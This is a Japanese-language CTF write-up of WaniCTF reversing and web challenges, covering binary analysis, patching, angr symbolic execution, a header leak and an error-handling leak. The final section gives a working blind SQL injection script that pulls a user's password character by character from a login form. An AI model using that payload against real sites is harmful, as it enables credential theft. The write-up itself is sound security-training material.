丁寧な説明文章に感激しつつ配布されたファイルを展開するとバイナリが含まれていました。IDAに読み込ませて文字列を見ていると"wani_is_the_coolest_animals_in_the_world!"が見えました。バイナリを実行してその文字列を入力すると、フラグが出力されました:

$ ./secret

   ▄▀▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▄▄▄▄   ▄▀▀▄▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▀▀█▀▀▄
  █ █   ▐ ▐  ▄▀   ▐ █ █    ▌ █   █   █ ▐  ▄▀   ▐ █    █  ▐
     ▀▄     █▄▄▄▄▄  ▐ █      ▐  █▀▀█▀    █▄▄▄▄▄  ▐   █
  ▀▄   █    █    ▌    █       ▄▀    █    █    ▌     █
   █▀▀▀    ▄▀▄▄▄▄    ▄▀▄▄▄▄▀ █     █    ▄▀▄▄▄▄    ▄▀
   ▐       █    ▐   █     ▐  ▐     ▐    █    ▐   █
           ▐        ▐                   ▐        ▐

Input secret key : wani_is_the_coolest_animals_in_the_world!
Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

[Reversing]execute[Easy]

コマンドを間違えて、ソースコードも消しちゃった!
今残っているファイルだけで実行して頂けますか?
(reverse engineeringすれば、実行しなくても中身は分かるみたいです。)

配布されたファイルを展開するといくつかのファイルが含まれていました。その中のMakeFileは以下の内容でした:

all:
    gcc --version > version.txt
    gcc -S main.c
    gcc -shared -o libprint.so print.c
    rm main.c
    rm print.c

元のソースファイルを消していることが分かります。main.slibprint.soは配布ファイルに含まれています。 main.sを見ると、数値リテラルの代入がありました:

(snip)
    movabsq  $7941081424088616006, %rax
    movabsq  $7311705455698409823, %rdx
    movq %rax, -48(%rbp)
    movq %rdx, -40(%rbp)
    movabsq  $3560223458505028963, %rax
    movabsq  $35295634984951667, %rdx
(snip)

なんとなくこのあたりがフラグを表している気がしたので変換してみました:

In [2]: def f(x):
   ...:     s = ""
   ...:     while x > 0:
   ...:         s += chr(x%256)
   ...:         x//=256
   ...:     return s
   ...:

In [3]: f(7941081424088616006)
Out[3]: 'FLAG{c4n'

In [4]: f(7311705455698409823)
Out[4]: '_y0u_exe'

In [5]: f(3560223458505028963)
Out[5]: 'cu4e_th1'

In [6]: f(35295634984951667)
Out[6]: 's_fi1e}'

大事な部分を読んでいない気持ちがありつつも、フラグを得られました: FLAG{c4n_y0u_execu4e_th1s_fi1e}

[Reversing]timer[Hard]

フラグが出てくるまで待てますか?
super_complex_flag_print_function 関数でフラグを表示しているようですが、難読化されているため静的解析でフラグを特定するのは難しそうです...
GDBを使って動的解析してみるのはいかがでしょうか?

配布されたファイルを展開するとバイナリが含まれていました。とりあえず実行してみると、259200秒=72時間=3日待つ必要がありそうでした:

$ ./timer

  ████████╗██╗███╗   ███╗███████╗██████╗
  ╚══██╔══╝██║████╗ ████║██╔════╝██╔══██╗
     ██║    ██║██╔████╔██║█████╗  ██████╔╝
     ██║    ██║██║╚██╔╝██║██╔══╝  ██╔══██╗
     ██║    ██║██║ ╚═╝ ██║███████╗██║   ██║
     ╚═╝    ╚═╝╚═╝       ╚═╝╚══════╝╚═╝    ╚═╝

I'll show the flag when the timer is 0 seconds.

259200 seconds left.
259199 seconds left.
259198 seconds left.
 ^C

IDAで見るとsleep(1)呼び出しをしてカウンタを減らしていく動作となっていました。問題のヒントを見るにGDBでカウンタ変数を書き換えるのが想定解法だと思いますが、IDAで開いているのでsleep関数の引数を1から0になるようにパッチを当てることにしました。パッチを当てた後のバイナリを実行して、カウンタが0になるまで数十秒待つことでフラグを得られました:

$ ./timer

  ████████╗██╗███╗   ███╗███████╗██████╗
  ╚══██╔══╝██║████╗ ████║██╔════╝██╔══██╗
     ██║   ██║██╔████╔██║█████╗  ██████╔╝
     ██║   ██║██║╚██╔╝██║██╔══╝  ██╔══██╗
     ██║   ██║██║ ╚═╝ ██║███████╗██║  ██║
     ╚═╝   ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝

I'll show the flag when the timer is 0 seconds.

259200 seconds left.
259199 seconds left.
259198 seconds left.
(snip)
3 seconds left.
2 seconds left.
1 seconds left.
The time has come. Flag is "FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}"

[Reversing]licence[Very hard]

このプログラムは非常に強力なライセンス確認処理が実装されています。
ただ、今持っているライセンスファイルは間違っているようです。
正しいライセンスファイルを見つけて頂けますか?

$ ./licence key.dat
Failed to activate.

複雑な処理をシンボリック実行で解析してくれるツール「angr」を使えば簡単に解けるかも。

配布されたファイルを展開すると、問題文に出てくるlicenceバイナリとkey.datが含まれていました。IDAでバイナリを見ると、check関数の分岐がとんでもない事になっていたので、素直にヒントどおりにangrを使って書くことにしました。angrでファイルの内容を扱う方法を調べると「angr例文集 書いて覚えるバイナリ自動解析技術 - Qiita」が見つかったので、これを参考に以下のスクリプトを書きました:

#!/usr/bin/env python3.8

import angr
p = angr.Project('./licence')
filename = "key.dat"
argv = [p.filename, filename]
state = p.factory.entry_state(args = argv)
simgr = p.factory.simulation_manager(state)

simgr.explore(find=lambda s: b"Correct! This software is successfully activated!" in s.posix.dumps(1))

if len(simgr.found) > 0:
    state = simgr.found[0]
    print(state.posix.dumps(0))
    print(state.posix.dump_file_by_path(filename))
else: print("Not found...")

これを実行し完了するまで数分待って、フラグを得られました: FLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}

[Web]fake[Beginner]

偽物を見破れますか?
https://fake.web.wanictf.org

この問題には配布ファイルはありません。URLを見に行くと、数百個のボタンが並んでいました。HTMLソースを見ると1箇所だけ異なるものが見つかりました:

    <button type="button" class="btn btn-dark">Link</button>
    <a href="144c9defac04969c7bfad8efaa8ea194.html" style="display: none;">
      <button type="button" class="btn btn-primary">Link</button>
    </a>
    <button type="button" class="btn btn-primary">Link</button>

リンク先へアクセスすると、フラグが書かれていました: FLAG{wow_y0u_h4ve_3po4ted_th3_7ake}

[Web]Wani Request 1[Easy]

RequestBinを使ってみよう!!
https://request1.web.wanictf.org/
この問題ではあどみんちゃんから自分のサーバにアクセスしてもらう必要があります。
自前でサーバを用意するのが難しい方はRequestBinなどのサービスを利用してみましょう。
サーバが用意出来たらいよいよ本番です。
問題ページにアクセスし、あなたが用意したサーバのURLを送信してください。
送信するとあどみんちゃんの秘密のページにあなたの送信したURLのリンクが表示されます。
あどみんちゃんは表示されたリンクをクリックしてあなたのサーバにアクセスしてくれます。
あどみんちゃんからのアクセスを分析して秘密のページを探してみてください。

HINT1 : HTTP ヘッダー
HINT2 : xss問題ではありません

この問題には配布ファイルはありません。URLを見に行くと、URLの入力欄とボタンがありました。ボタンを押すと入力したURLへあどみんちゃんがアクセスしてくれるようです。 RequestBinは使ったことがありませんでしたが、せっかくなのでユーザー登録をして使ってみることにしました。最初は使い方がわかりませんでしたが、しばらくしてWorkflowページにURLがあることに気づきました。そのURLをあどみんちゃんにアクセスしてもらうと、リファラーにURLがついていました。そのURLへアクセスすると、フラグが書かれていました: FLAG{h77p_r3f3r3r_15_54f3_42a2cc2f275}

leetの最後の単語はなんと書いているのでしょう……?

[Web]exception[Easy]

API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。
https://exception.web.wanictf.org/

配布されたファイルを展開すると、サーバー側のスクリプトが含まれていました:

import json
import os
import traceback

# HelloFunction(/hello)のコード
def lambda_handler(event, context):
    try:
        try:
            data = json.loads(event["body"])
        except Exception:
            data = {}
        if "name" in data:
            return {
                "statusCode": 200,
                "body": json.dumps({"name": "こんにちは、" + data["name"] + "さん"}),
            }
        return {
            "statusCode": 400,
            "body": json.dumps(
                {
                    "error_message": "Bad Request",
                }
            ),
        }
    except Exception as e:
        error_message = traceback.format_exception_only(type(e), e)
        del event["requestContext"]["accountId"]
        del event["requestContext"]["resourceId"]
        return {
            "statusCode": 500,
            "body": json.dumps(
                {
                    "error_message": error_message,
                    "event": event,
                    "flag": os.environ.get("FLAG"),
                }
            ),
        }

このコードから、外側のtry中で例外を発生させるとフラグが得られることが分かります。cURLで適当に試しているうちに、{"name":123}なデータを送って偶然フラグを取得できました。整数と文字列を加算しようとして例外出るんですね:

$ curl https://exception.web.wanictf.org/hello -X POST -H "content-type: application/json" -d '{"name":123}'
{"error_message": ["TypeError: can only concatenate str (not \"int\") to str\n"], "event": {"resource": "/hello", "path": "/hello", "httpMethod": "POST", "headers": {"content-type": "application/json", "Host": "boakqtdih8.execute-api.us-east-1.amazonaws.com", "User-Agent": "Amazon CloudFront", "Via": "2.0 01fbd7d01ff1478611d3936344040a80.cloudfront.net (CloudFront)", "X-Amz-Cf-Id": "Y84XZE0JD_Wrp5sx4kpgVE_CQ8QC2K2EXwvRRPwgWNxpUoDlAOZ8tQ==", "X-Amzn-Trace-Id": "Root=1-608eb947-5f894c7908c77a6274746c16", "X-Forwarded-For": "192.0.2.1, 130.176.3.75", "X-Forwarded-Port": "443", "X-Forwarded-Proto": "https"}, "multiValueHeaders": {"content-type": ["application/json"], "Host": ["boakqtdih8.execute-api.us-east-1.amazonaws.com"], "User-Agent": ["Amazon CloudFront"], "Via": ["2.0 01fbd7d01ff1478611d3936344040a80.cloudfront.net (CloudFront)"], "X-Amz-Cf-Id": ["Y84XZE0JD_Wrp5sx4kpgVE_CQ8QC2K2EXwvRRPwgWNxpUoDlAOZ8tQ=="], "X-Amzn-Trace-Id": ["Root=1-608eb947-5f894c7908c77a6274746c16"], "X-Forwarded-For": ["192.0.2.1, 130.176.3.75"], "X-Forwarded-Port": ["443"], "X-Forwarded-Proto": ["https"]}, "queryStringParameters": null, "multiValueQueryStringParameters": null, "pathParameters": null, "stageVariables": null, "requestContext": {"resourcePath": "/hello", "httpMethod": "POST", "extendedRequestId": "etHjQF-EIAMFymw=", "requestTime": "02/May/2021:14:37:59 +0000", "path": "/Prod/hello", "protocol": "HTTP/1.1", "stage": "Prod", "domainPrefix": "boakqtdih8", "requestTimeEpoch": 1619966279933, "requestId": "45212e19-718a-4593-829b-ddea3575f9ab", "identity": {"cognitoIdentityPoolId": null, "accountId": null, "cognitoIdentityId": null, "caller": null, "sourceIp": "192.0.2.1", "principalOrgId": null, "accessKey": null, "cognitoAuthenticationType": null, "cognitoAuthenticationProvider": null, "userArn": null, "userAgent": "Amazon CloudFront", "user": null}, "domainName": "boakqtdih8.execute-api.us-east-1.amazonaws.com", "apiId": "boakqtdih8"}, "body": "{\"name\":123}", "isBase64Encoded": false}, "flag": "FLAG{b4d_excep7ion_handl1ng}"}

フラグはレスポンスの最後に含まれています: FLAG{b4d_excep7ion_handl1ng}

[Web]watch animal[Very hard]

> スーパーかわいい動物が見れるWebサービスを作ったよ。
> wanictf21spring@gmail.com
> のメアドの人のパスワードがフラグです。
> https://watch.web.wanictf.org/

配布されたファイルを展開すると、サーバー側のphpファイルやsqlファイルなどがいろいろ含まれていました。URLへアクセスしてみると、メールアドレス欄とパスワード欄でログインするシステムがありました。 docker-compose.ymlMYSQL_ROOT_PASSWORD=rootという記述があったため、DBにはMySQLが使われているころが分かります。またphp/html/index.phpに以下の内容があるため、SQL Injectionできることが分かります:

(snip)
if ($email !== '' && $password !== '') {
  if (strlen($email) > 32) {
    $err = 'Login Failed... Email address must be 32 characters or less.';
  } else {
    if (strlen($password) > 128) {
      $err = 'Login Failed... Password must be 128 characters or less.';
    } else {
      $dsn = 'mysql:host=mysql;dbname=animaldb;chartset=utf8mb4';
      $db_user = 'animal';
      $db_pass = 'RTpBfdBT4e3rc5yD';
      $login = login($dsn, $db_user, $db_pass, $email, $password);
      if (!$login) {
        $err = 'Login Failed... Either the email or password is invalid.';
      }
    }
  }
}
(snip)

問題文からwanictf21spring@gmail.comの人のパスワードを破ればよいことが分かるので、Blind SQL Injectionを行えばパスワード(=フラグ)が分かりそうです。メールアドレス欄は32文字、パスワード欄は128文字制限なので、パスワード側でSQL Injectionを行うようにすることにして、以下のスクリプトを書きました:

#!/usr/bin/env python3.8

import requests

url = "https://watch.web.wanictf.org/"
email = "wanictf21spring@gmail.com"

def is_succeeded(response):
    return "Crocodiles or true crocodiles are large semiaquatic reptiles that live throughout the tropics in Africa, Asia, the Americas and Australia." in response.text

def check_password(s, pw):
    data = {
        "email": "test@example.com",
        "password": f"'||(email='{email}' AND ORD(SUBSTR(password, {len(pw)}, 1))={ord(pw[-1])})#"
        }
    print(pw)
    r = s.post(url, data=data)
    return is_succeeded(r)

with requests.Session() as s:
    pw = ""
    while True:
        if is_succeeded(s.post(url, data={"email": email, "password": pw})):
            print(f"{pw=}")
            break
        for i in range(0x20, 0x7F):
            c = chr(i)
            current_pw = pw + c
            print(current_pw)
            if check_password(s, current_pw):
                pw = current_pw
                break
        else: raise RuntimeError("WHAT?")

これを実行してフラグを得られました: FLAG{bl1ndSQLi}

感想

  • CTFはじめの頃は、pwn問題でシェルを取れていてもプロンプトが表示されていないとシェルを取れていないと思い込んでいた時期があったので、最初にncの使い方を説明してくれるのはとても丁寧だと思いました。
  • 提供されるPythonファイルに型注釈がついているのが優しかったです。
  • 細かい点ですけど、配布ファイル名がrev-secret等と分類-問題名となっているのが分かりやすくてよかったです。